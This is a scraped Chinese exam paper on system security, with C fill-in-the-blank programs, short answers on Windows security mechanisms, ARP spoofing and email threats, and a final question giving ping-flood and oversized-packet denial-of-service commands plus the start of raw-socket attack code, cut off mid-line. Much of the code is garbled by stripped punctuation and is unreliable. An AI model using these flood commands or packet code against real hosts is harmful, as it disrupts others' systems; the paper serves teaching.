《系统安全与维护》实践环节考.docVIP

《系统安全与维护》实践环节考试题 （考试时间60分钟,满分100） 下面是对D盘根目录下的my.txt文件读操作并将其内容显示在屏幕的程序，请阅该读程序，并将横线空白处补充完整。（15分） #includestdio.h main FILE *fp; char ch; fp fopen d:\\my.txt,rt ;/*以读的方式打开D盘根目录下的my.txt文件*/ if fp NULL printf \n不能打开文件d:\my.txt,按回车键退出！ ; exit 1 ; printf d:\my.txt的文件内容如下:\n ; ch fgetc fp ; while ch! EOF putchar ch ; ch fgetc fp ; fclose fp ;/*关闭文件*/ 下面是一个具有加密功能的C程序，主要是对文本文件加密操作。例如：文本文件a1.txt的内容是“努力学习，报效祖国！” 复制到文本文件a2.txt中，使a2.txt的内容变为“钱猫萤巡ギ唱药勹稽ィ”。请阅读程序，并将横线处的空白补充完整。（15分） #includestdio.h main int argc,char * argv[] /*命令行参数*/ FILE *fp1,*fp2; char ch; fp1 fopen argv[1],rt ; if argc 3 if fp2 fopen argv[2],wt+ NULL printf 无法打开目标文件\n ; while ch fgetc fp1 ! EOF ch ch+2; fputc ch,fp2 ; printf \n复制成功！\n ; fclose fp1 ; fclose fp2 ; 三．Windows系统都有哪些安全机制？ 10分 答：（1）Windows认证机制。 （2）Windows访问控制机制。 （3）Windows审计/日志机制 （4）Windows协议过滤和防火墙 （5）Windows文件加密系统 四.Windows XP的安全策略主要包括什么？（10分） 答：（1）密码策略 （2）锁定策略 （3）审核策略（4）用户权力指派（5）安全选项（6）装载自定义安全模板（7）软件限制策略等 五.ARP欺骗有几种实现方式？（10分） 答：ARP欺骗有3中实现方式 （1）发送未被请求的ARP 应答报文。 （2）发送ARP请求报文 （3）响应一个请求报文。 六.电子邮件面临的安全问题有哪些？（10分） 答：（1）邮件拒绝服务 （2）邮件内容被截获。 （3）邮件软件漏洞非法利用。 （4）邮件恶意代码。 （5）邮箱口令暴力攻击 （6）垃圾邮件。 （7）用户邮箱地址泄漏。 七.利用Ping命令基本格式：ping hostname?（其中hostname是目标计算机的地址。C: ping -f hostname?　　这条命令给目标机器发送大量的数据，从而使目标计算机忙于回应。在Windows 95的计算机上，使用下面的方法：c:\windows\ping -l 65510 saddam_hussein?　　这样做了之后，目标计算机有可能会挂起来，或从新启动。由于 -l 65510 产生一个巨大的数据包。由于要求返回一个同样的数据包，会使目标计算机反应不过来。　　在计算机上，可以编写一个程序来实现上述方法。#include ?#include ?#include ?#include ?#include ?#include ?#include ?#include ?/*?* If your kernel doesnt muck with raw packets, #define REALLY_RAW.?* This is probably only Linux.?*/?#ifdef REALLY_RAW? #define FIX x htons x ?#else?#define FIX x x ?#endif?main int argc, char **argv int s;?char buf[1500];?struct ip *ip struct ip * buf;?struct icmp *icmp struct icmp * ip + 1 ;?struct hostent *hp;?struct sockaddr_in dst;?int offset;?int on 1;?bzero buf, sizeof buf ;?if s socket AF_INET, SOCK_RAW, IPPROTO_IP 0 perror so